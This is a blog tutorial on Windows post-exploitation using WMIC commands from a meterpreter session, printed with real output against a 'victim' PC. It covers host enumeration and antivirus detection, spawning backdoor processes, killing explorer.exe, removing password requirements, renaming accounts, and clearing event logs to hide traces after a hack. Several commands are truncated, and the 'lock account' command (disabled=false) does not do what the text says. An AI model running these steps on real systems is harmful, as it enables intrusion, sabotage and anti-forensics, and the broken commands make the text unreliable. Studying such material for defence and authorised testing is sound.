Post Exploitation Using WMIC (System Command)

January 31, 2018 By Raj Chandel

This article is about Post Exploitation using the WMIC (Windows Management Instrumentation Command Line). When an Attacker gains a meterpreter session on a Remote PC, then he/she can enumerate a huge amount of information and make effective changes using the WMI Command Line.

To do this, we will first get the meterpreter session on the Remote PC which you can learn from here. After gaining the session, escalate its privilege to Administrator which you can learn from here.

WMIC command line can be accessed through the windows cmd. To access that type "**shell**" in the meterpreter shell.

Now let's look at the wmic commands and their working

WMIC

This command shows the global options which are used in the wmic command. WMIC Global Options are used to set properties of the WMIC environment. With the combination of global options and the aliases than we can manage the system through the wmic environment.

```
wmic /?
```

```
C:\Windows\System32>wmic /?
wmic /?

[global switches] <command>

The following global switches are available:
/NAMESPACE          Path for the namespace the alias operate against.
/ROLE               Path for the role containing the alias definitions.
/NODE               Servers the alias will operate against.
/IMPLEVEL           Client impersonation level.
/AUTHLEVEL          Client authentication level.
/LOCALE             Language id the client should use.
/PRIVILEGES         Enable or disable all privileges.
/TRACE              Outputs debugging information to stderr.
/RECORD             Logs all input commands and output.
/INTERACTIVE        Sets or resets the interactive mode.
/FAILFAST           Sets or resets the FailFast mode.
/USER               User to be used during the session.
/PASSWORD           Password to be used for session login.
/OUTPUT             Specifies the mode for output redirection.
/APPEND             Specifies the mode for output redirection.
/AGGREGATE          Sets or resets aggregate mode.
/AUTHORITY          Specifies the <authority type> for the connection.
/?[:<BRIEF|FULL>]   Usage information.

For more information on a specific global switch, type: switch-name /?
```

Get System Roles, User Name, and Manufacturer

We can enumerate lots of information about the Victim System including its Name, Domain, Manufacturer, Model Number and Much more through the computer system alias of wmic command.

We are adding the following filters to get a specific result.

Roles: It gives all the roles that the victim system play like Workstation, Server, Browser etc.

Manufacturer: It gives the manufacturer of the system, sometimes there are certain vulnerabilities in a particular model of a particular model. So we can use this information to search for any direct vulnerabilities.

UserName: It gives the username of the system which is proven very helpful as we can differentiate between administrators and normal users

[/format: list]: To sort the output in a list format.

```
wmic computersystem get Name, domain, Manufacturer, Model, Username, Roles /format
```

```
C:\WINDOWS\system32>wmic computersystem get Name, domain, Manufacturer, Model,Username,
 Roles /format:list
wmic computersystem get Name, domain, Manufacturer, Model,Username, Roles /format:list


Domain=WORKGROUP
Manufacturer=LENOVO
Model=20240
Name=PD-LAPTOP
Roles={"LM_Workstation","LM_Server","NT","Potential_Browser","Master_Browser"}
UserName=PD-LAPTOP\Pavan
```

Get the SIDs

To enumerate these SIDs we will use group alias of wmic.

```
wmic group get Caption, InstallDate, LocalAccount, Domain, SID, Status
```

As shown in the below image here we have found the Account Name, Domain, Local Group Member status, SID and their status.

```
C:\>wmic group get Caption, InstallDate, LocalAccount, Domain, SID, Status
wmic group get Caption, InstallDate, LocalAccount, Domain, SID, Status
Caption                                         Domain           InstallDate  Local
Account  SID           Status
WIN-T89NJ9667JV\Administrators                  WIN-T89NJ9667JV               TRUE
         S-1-5-32-544  OK
WIN-T89NJ9667JV\Backup Operators                WIN-T89NJ9667JV               TRUE
         S-1-5-32-551  OK
WIN-T89NJ9667JV\Cryptographic Operators         WIN-T89NJ9667JV               TRUE
         S-1-5-32-569  OK
WIN-T89NJ9667JV\Distributed COM Users           WIN-T89NJ9667JV               TRUE
         S-1-5-32-562  OK
WIN-T89NJ9667JV\Event Log Readers               WIN-T89NJ9667JV               TRUE
         S-1-5-32-573  OK
WIN-T89NJ9667JV\Guests                          WIN-T89NJ9667JV               TRUE
         S-1-5-32-546  OK
WIN-T89NJ9667JV\IIS_IUSRS                       WIN-T89NJ9667JV               TRUE
         S-1-5-32-568  OK
WIN-T89NJ9667JV\Network Configuration Operators WIN-T89NJ9667JV               TRUE
         S-1-5-32-556  OK
WIN-T89NJ9667JV\Performance Log Users           WIN-T89NJ9667JV               TRUE
         S-1-5-32-559  OK
WIN-T89NJ9667JV\Performance Monitor Users       WIN-T89NJ9667JV               TRUE
         S-1-5-32-558  OK
WIN-T89NJ9667JV\Power Users                     WIN-T89NJ9667JV               TRUE
         S-1-5-32-547  OK
WIN-T89NJ9667JV\Remote Desktop Users            WIN-T89NJ9667JV               TRUE
         S-1-5-32-555  OK
WIN-T89NJ9667JV\Replicator                      WIN-T89NJ9667JV               TRUE
         S-1-5-32-552  OK
WIN-T89NJ9667JV\Users                           WIN-T89NJ9667JV               TRUE
         S-1-5-32-545  OK
```

Create a process

We can create many processes on the victim's system using the process alias of wmic command.

This is helpful in running any backdoor or fill up the memory of the victim's system.

Syntax: wmic process call create "[Process Name]"

```
wmic process call create "taskmgr.exe"
```

As you can see in the below screenshot that this command not only create a process but also gives the "**process id**" so that we can manipulate that process according to our need.

Note: if the process creates a window like Task Manager, cmd, etc. then this command will open up that window on the victim's system and create suspicion in the mind of the victim.

```
C:\Windows\System32>wmic process call create "taskmgr.exe"
wmic process call create "taskmgr.exe"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 4044;
        ReturnValue = 0;
};
```

Change Priority of a Process

We can change the priority of any process running on the victim's system with the help of process alias of wmic command.

This is an important feature because it can be used to manipulate processes as we can increase the priority of any process of our choice or decrease the priority of any process. Decreasing the priority of any process can result in the crashing of that particular application and increasing may crash the overall system.

```
wmic process where name="explorer.exe" call setpriority 64
```

```
C:\WINDOWS\system32>wmic process where name="explorer.exe" call setpriority 64
wmic process where name="explorer.exe" call setpriority 64
Executing (\\PD-LAPTOP\ROOT\CIMV2:Win32_Process.Handle="2732")->setpriority()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ReturnValue = 0;
};
```

Terminate a process

We can terminate a process running on the victim's system with the help of process alias of wmic command.

```
wmic process where name="explorer.exe" call terminate
```

```
C:\Windows\System32>wmic process where name='explorer.exe' call terminate
wmic process where name='explorer.exe' call terminate
Executing (\\WIN-T89NJ9667JV\ROOT\CIMV2:Win32_Process.Handle="2812")->terminate()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ReturnValue = 0;
};
```

Get a list of Executable Files

We can get a list which contains the location of the executable files other than that of windows.

```
wmic PROCESS WHERE "NOT ExecutablePath LIKE '%Windows%'" GET ExecutablePath
```

```
C:\WINDOWS\system32>wmic PROCESS WHERE "NOT ExecutablePath LIKE '%Windows%'" GET ExecutablePath

wmic PROCESS WHERE "NOT ExecutablePath LIKE '%Windows%'" GET ExecutablePath
ExecutablePath
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
C:\Program Files (x86)\Freemake\CaptureLib\CaptureLibService.exe
C:\ProgramData\KMSAuto\bin\KMSSS.exe
C:\Program Files (x86)\Hi-Rez Studios\HiPatchService.exe
C:\Program Files\Synaptics\SynTP\SynTPEnhService.exe
C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
C:\Program Files (x86)\VMware\VMware Workstation\vmware-authd.exe
```

Get Folder Properties

To extract the basic information about a folder on the victim's system we can use **fsdir** alias of the wmic command line.

It can enumerate the following information about a folder:

Compressed, CompressionMethod, Creation Date, File Size, Readable, Writable, System File or not, Encrypted, Encryption Type and much more.

```
wmic FSDIR where "drive='c:' and filename='test" get /format:list
```

```
C:\Windows\System32>wmic FSDIR where "drive='c:' and filename='test'" get /format:li
st
wmic FSDIR where "drive='c:' and filename='test'" get /format:list


AccessMask=18809343
Archive=FALSE
Caption=c:\test
Compressed=FALSE
CompressionMethod=
CreationClassName=CIM_LogicalFile
CreationDate=20180124142022.657692+330
CSCreationClassName=Win32_ComputerSystem
CSName=WIN-T89NJ9667JV
Description=c:\test
Drive=c:
EightDotThreeFileName=c:\test
Encrypted=FALSE
EncryptionMethod=
Extension=
FileName=test
FileSize=
FileType=File Folder
FSCreationClassName=Win32_FileSystem
FSName=NTFS
Hidden=FALSE
InstallDate=20180124142022.657692+330
InUseCount=
LastAccessed=20180124142031.267307+330
LastModified=20180124142031.267307+330
Name=c:\test
Path=\
Readable=TRUE
Status=OK
System=FALSE
```


Get File Properties

To extract the basic information about a file on the victim's system we can use **datafile** alias of the wmic command line.

It can enumerate following information about a file:

Compressed, CompressionMethod, Creation Date, File Size, Readable, Writable, System File or not, Encrypted, Encryption Type and much more.

Syntax: wmic datafile where='[Path of File]' get /format:list

```
wmic datafile where name='c:\\windows\\system32\\demo\\demo.txt' get /format:list
```

```
C:\Windows\System32>wmic datafile where name='c:\\windows\\system32\\demo\\demo.txt'
 get /format:list
wmic datafile where name='c:\\windows\\system32\\demo\\demo.txt' get /format:list


AccessMask=18809343
Archive=TRUE
Caption=c:\windows\system32\demo\demo.txt
Compressed=FALSE
CompressionMethod=
CreationClassName=CIM_LogicalFile
CreationDate=20180124141145.919181+330
CSCreationClassName=Win32_ComputerSystem
CSName=WIN-T89NJ9667JV
Description=c:\windows\system32\demo\demo.txt
Drive=c:
EightDotThreeFileName=c:\windows\system32\demo\demo.txt
Encrypted=FALSE
EncryptionMethod=
Extension=txt
FileName=demo
FileSize=1512
FileType=Text Document
FSCreationClassName=Win32_FileSystem
FSName=NTFS
Hidden=FALSE
InstallDate=20180124141145.919181+330
InUseCount=
LastAccessed=20180124141145.919181+330
LastModified=20180124141213.609229+330
Manufacturer=
Name=c:\windows\system32\demo\demo.txt
Path=\windows\system32\demo\
Readable=TRUE
Status=OK
System=FALSE
Version=
Writeable=TRUE
```

Locate System Files

Extract paths of all the important system files like temp folder, win directory and much more.

```
wmic environment get Description, VariableValue
```

From given below image you can read variable value with their given description.

```
C:\Windows\System32>wmic environment get Description, VariableValue
wmic environment get Description, VariableValue
Description                         VariableValue

<SYSTEM>\ComSpec                    %SystemRoot%\system32\cmd.exe

<SYSTEM>\FP_NO_HOST_CHECK           NO

<SYSTEM>\OS                         Windows_NT

<SYSTEM>\Path                       %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\S
ystem32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\
<SYSTEM>\PATHEXT                    .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;
.MSC
<SYSTEM>\PROCESSOR_ARCHITECTURE     x86

<SYSTEM>\TEMP                       %SystemRoot%\TEMP

<SYSTEM>\TMP                        %SystemRoot%\TEMP

<SYSTEM>\USERNAME                   SYSTEM

<SYSTEM>\windir                     %SystemRoot%

<SYSTEM>\PSModulePath               %SystemRoot%\system32\WindowsPowerShell\v1.0\Modu
les\
<SYSTEM>\NUMBER_OF_PROCESSORS       1

<SYSTEM>\PROCESSOR_LEVEL            6

<SYSTEM>\PROCESSOR_IDENTIFIER       x86 Family 6 Model 60 Stepping 3, GenuineIntel

<SYSTEM>\PROCESSOR_REVISION         3c03

NT AUTHORITY\SYSTEM\TEMP            %USERPROFILE%\AppData\Local\Temp
```

Get a list of Installed Applications

We can get a list of applications or software installed on the victim's system

```
wmic product get name
```

```
C:\Windows\System32>wmic product get name
wmic product get name
Name
VMware Tools
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148
```

Get a list of Running Services

We can fetch the list of services which are running and services which start automatically or not.

```
wmic service where (state="running") get caption, name, startmode, state
```

From given below image you can observe startmode either as “Auto” or as “Manual” and state “Running” for given services.

```
C:\WINDOWS\system32>Wmic service where (state="running") get caption, name, startmode, state
Wmic service where (state="running") get caption, name, startmode, state
Caption                                   Name                          StartMode  State
Adobe Acrobat Update Service              AdobeARMservice               Auto       Running
AMD External Events Utility               AMD External Events Utility   Auto       Running
Application Information                   Appinfo                       Manual     Running
Windows Audio Endpoint Builder            AudioEndpointBuilder          Auto       Running
Windows Audio                             Audiosrv                      Auto       Running
Base Filtering Engine                     BFE                           Auto       Running
Background Intelligent Transfer Service   BITS                          Auto       Running
Background Tasks Infrastructure Service   BrokerInfrastructure          Auto       Running
Computer Browser                          Browser                       Manual     Running
Bluetooth Support Service                 bthserv                       Manual     Running
Connected Devices Platform Service        CDPSvc                        Auto       Running
```

Get Startup Services

We can enumerate startup services using startup alias for all the services that run during the windows startup.

```
wmic startup get Caption, Command
```

```
C:\WINDOWS\system32>wmic startup get Caption, Command
wmic startup get Caption, Command
Caption              Command
OneDriveSetup        C:\Windows\SysWOW64\OneDriveSetup.exe /thfirstsetup
OneDriveSetup        C:\Windows\SysWOW64\OneDriveSetup.exe /thfirstsetup
OneDriveSetup        C:\Windows\SysWOW64\OneDriveSetup.exe /thfirstsetup
IDMan                C:\Program Files (x86)\Internet Download Manager\IDMan.exe /onboot
CCleaner Monitoring  "C:\Program Files\CCleaner\CCleaner64.exe" /MONITOR
Steam                "C:\Program Files (x86)\Steam\steam.exe" -silent
Discord              C:\Users\Pavan\AppData\Local\Discord\app-0.0.300\Discord.exe
Google Update        C:\Users\Pavan\AppData\Local\Google\Update\1.3.33.7\GoogleUpdateCore.exe
MusicManager         "C:\Users\Pavan\AppData\Local\Programs\Google\MusicManager\MusicManager.exe"
BitTorrent           "C:\Users\Pavan\AppData\Roaming\BitTorrent\BitTorrent.exe"  /MINIMIZED
SecurityHealth       %ProgramFiles%\Windows Defender\MSASCuiL.exe
cAudioFilterAgent    "C:\Program Files\Conexant\cAudioFilterAgent\cAudioFilterAgent64.exe"
SynTPEnh             %ProgramFiles%\Synaptics\SynTP\SynTPEnh.exe
SmartAudio           "C:\Program Files\CONEXANT\SAII\SACpl.exe" /t
```

Get System Driver Details

We can enumerate Driver Details like Name, Path and Service Type using the **sysdrive alias.**

This command gives the path of the driver file, its status (Running or Stopped), Its Type (Kernel or File System)

```
wmic sysdriver get Caption, Name, PathName, ServiceType, State, Status /format:lis
```

```
C:\Windows\System32>wmic sysdriver get Caption, Name, PathName, ServiceType, State, Status
 /format:list
wmic sysdriver get Caption, Name, PathName, ServiceType, State, Status /format:list


Caption=1394 OHCI Compliant Host Controller
Name=1394ohci
PathName=C:\Windows\system32\DRIVERS\1394ohci.sys
ServiceType=Kernel Driver
State=Stopped
Status=OK


Caption=Microsoft ACPI Driver
Name=ACPI
PathName=C:\Windows\system32\DRIVERS\ACPI.sys
ServiceType=Kernel Driver
State=Running
Status=OK


Caption=ACPI Power Meter Driver
Name=AcpiPmi
PathName=C:\Windows\system32\DRIVERS\acpipmi.sys
ServiceType=Kernel Driver
State=Stopped
Status=OK
```

Get OS Details

We can enumerate the location of the victim by using the time zone in which the system is set, this can be extracted using the **OS alias**.

We also get the Last Boot Update Time and The Number of Registered Users and Number of Processors and information about Physical & Virtual Memory, all using os alias.

```
wmic os get CurrentTimeZone, FreePhysicalMemory, FreeVirtualMemory, LastBootUpdate
```

```
C:\WINDOWS\system32>wmic os get CurrentTimeZone, FreePhysicalMemory, FreeVirtualMemory, LastBootUpTime, NumberofProcesses
, NumberofUsers, Organization, RegisteredUser, Status /format:list
wmic os get CurrentTimeZone, FreePhysicalMemory, FreeVirtualMemory, LastBootUpTime, NumberofProcesses, NumberofUsers, Org
anization, RegisteredUser, Status /format:list


CurrentTimeZone=330
FreePhysicalMemory=1765036
FreeVirtualMemory=2414696
LastBootUpTime=20180123163101.496466+330
NumberOfProcesses=99
NumberOfUsers=2
Organization=
RegisteredUser=Windows User
Status=OK
```

Get the Motherboard Details

We can use the **baseboard alias** of the wmic command line to enumerate the motherboard details of the victim's system. Things we can enumerate are Motherboard Manufacturer, Serial Number, and Version

```
wmic baseboard get Manufacturer, Product, SerialNumber, Version
```

```
C:\Windows\System32>wmic baseboard get Manufacturer, Product, SerialNumber, Version
wmic baseboard get Manufacturer, Product, SerialNumber, Version
Manufacturer  Product      SerialNumber  Version
LENOVO        Lenovo G505  CB23429662    31900004WIN8 STD SGL
```

Get BIOS Serial Number

We can use the **bios alias** of the wmic command line to enumerate the bios details of the victim's system.

```
wmic bios, get serialNumber
```

From given below image you can check bios serial number that we have enumerated of victim's system.

```
C:\Windows\System32>wmic bios get serialnumber
wmic bios get serialnumber
SerialNumber
3177801401334
```

Get Hard Disk Details

We can enumerate information about the System Hard Disk using the **diskdrive alias.**

We get to know the Interface Type, Manufacturer, and Model Name, all through this command.

```
wmic diskdrive get Name, Manufacturer, Model, InterfaceType, MediaLoaded, MediaTyp
```

```
C:\Windows\System32>wmic diskdrive get Name, Manufacturer, Model, InterfaceType, MediaLoaded, MediaType /format:list
wmic diskdrive get Name, Manufacturer, Model, InterfaceType, MediaLoaded, MediaType /format:list


InterfaceType=IDE
Manufacturer=(Standard disk drives)
MediaLoaded=TRUE
MediaType=Fixed hard disk media
Model=ST1000LM024 HN-M101MBB
Name=\\.\PHYSICALDRIVE0
```

Get Hard Disk Partitions Details

We can get the information about the Hard Disk Partitions using the **logicaldisk** alias.

We get the name, compression status, File System (NTFS, FAT) and much more all using this command.

```
wmic logicaldisk where drivetype=3 get Name, Compressed, Description, FileSystem,
```

From given below image you can read the description of the disk along with filesystem i.e. NTFS and available free space and many more details as per your requirement.

```
C:\Windows\System32>wmic logicaldisk where drivetype=3 get Name, Compressed, Description, FileSystem, FreeSpace,
irty, VolumeName
wmic logicaldisk where drivetype=3 get Name, Compressed, Description, FileSystem, FreeSpace, SupportsDiskQuotas,
Compressed  Description       FileSystem  FreeSpace     Name  SupportsDiskQuotas  VolumeDirty  VolumeName
FALSE       Local Fixed Disk  NTFS        135492476928  C:    FALSE
FALSE       Local Fixed Disk  NTFS        364238778368  D:    FALSE                            Local Disk
```

Get Memory Cache Details

We can get the information about the Memory Cache using **Memcache alias**. We can get the name, block size, purpose and much more all using this command.

```
wmic memcache get Name, BlockSize, Purpose, MaxCacheSize, Status
```

From given below image you can observe here it is showing details of two cache memory.

```
C:\Windows\System32>wmic memcache get Name, BlockSize, Purpose, MaxCacheSize, Status
wmic memcache get Name, BlockSize, Purpose, MaxCacheSize, Status
BlockSize  MaxCacheSize  Name          Purpose   Status
1024       256           Cache Memory  L1 Cache  OK
65536      2048          Cache Memory  L2 Cache  OK
```

Get Memory Chip Details

We can get the information about the RAM using the **memorychip alias**.

We get the Serial number of the RAM without removing the RAM or physically being near the system using this command.

```
wmic MEMORYCHIP get PartNumber, SerialNumber
```

```
C:\Windows\System32>wmic MEMORYCHIP get PartNumber, SerialNumber
wmic MEMORYCHIP get PartNumber, SerialNumber
PartNumber          SerialNumber
RMT3170EB68F9W1600  44DEDB85
```

Detect If victim system is a host OS or installed via VMware

We can enumerate information about the victim's system that whether it is running a host operating system i.e. running by directly installing on the hard drive or running virtually using VMware or Virtual Box.

```
wmic onboarddevice get Desciption, DeviceType, Enabled, Status /format:list
```

Here from given below image if you will observe the highlighted text when you see it showing VMware in the description.

```
C:\Windows\System32>wmic onboarddevice get Description, DeviceType, Enabled,
 Status /format:list
wmic onboarddevice get Description, DeviceType, Enabled, Status /format:list


Description=VMware SVGA II
DeviceType=3
Enabled=FALSE
Status=
```

User Account Management

Lock a User Account

We can restrict a local user from using its account by using useraccount alias, here we are going to lock a User Account.

```
wmic useraccount where name='demo' set disabled=false
```

From given below image you can observe that we had successfully locked the user account for user "demo".

```
C:\Windows\System32>wmic useraccount where name='demo' set disabled=false
wmic useraccount where name='demo' set disabled=false
Updating property(s) of '\\WIN-T89NJ9667JV\ROOT\CIMV2:Win32_UserAccount.Domain="WIN-T89NJ9667JV",
Name="demo"'
Property(s) update successful.
```

Remove Password requirement for logging

We can remove a local user's requirement of its password for login by using **useraccount alias**

```
wmic useraccount where name='demo' set PasswordRequired=false
```

```
C:\Windows\System32>wmic useraccount where name='demo' set PasswordRequired=false
wmic useraccount where name='demo' set PasswordRequired=false
Updating property(s) of '\\WIN-T89NJ9667JV\ROOT\CIMV2:Win32_UserAccount.Domain="WIN-T89NJ9667JV",
Name="demo"'
Property(s) update successful.
```

Rename a user account

We can rename a local user by using **useraccount alias**

```
wmic useraccount where name='demo' rename hacker
```

```
C:\Windows\System32>wmic useraccount where name='demo' rename hacker
wmic useraccount where name='demo' rename hacker
Executing (\\WIN-T89NJ9667JV\ROOT\CIMV2:Win32_UserAccount.Domain="WIN-T89NJ9667JV",Name="demo")->
rename()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ReturnValue = 0;
};
```

Restrict user from changing a password

We can restrict a local user from changing its password by using **useraccount alias**

```
wmic useraccount where name='hacker' set passwordchangeable=false
```

```
C:\Windows\System32>wmic useraccount where name='hacker' set passwordchangeable=false
wmic useraccount where name='hacker' set passwordchangeable=false
Updating property(s) of '\\WIN-T89NJ9667JV\ROOT\CIMV2:Win32_UserAccount.Domain="WIN-T89NJ9667JV",
Name="hacker"'
Property(s) update successful.
```

Get Antivirus Details

We can enumerate the antivirus installed on the victim's system along with its location and version.

```
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName, prod
```

```
C:\Windows\System32>wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,
 productState, pathToSignedProductExe
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName, productState, pathT
oSignedProductExe
displayName      pathToSignedProductExe                                          productState
Avira Antivirus  C:\Program Files (x86)\Avira\Antivirus\WindowsSecurityCenter.exe  270336
```

Clear System Logs

Wmic can be used to delete system logs using the **nteventlog alias**. It is a very simple command where we mention the name of the log and then using an option nteventlog and clear the log file. It can be an effective command while cleaning up after hacking any system.

Syntax: wmic nteventlog where filename='[logfilename]' cleareventlog

```
wmic nteventlog where filename='system' call cleareventlog
```

```
C:\WINDOWS\system32>wmic nteventlog where (description like "%shell%") call cleareventlog
wmic nteventlog where (description like "%shell%") call cleareventlog
Executing (\\PD-LAPTOP\ROOT\CIMV2:Win32_NTEventlogFile.Name="C:\\WINDOWS\\System32\\Winev
\Logs\\Windows PowerShell.evtx")->cleareventlog()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ReturnValue = 0;
};
```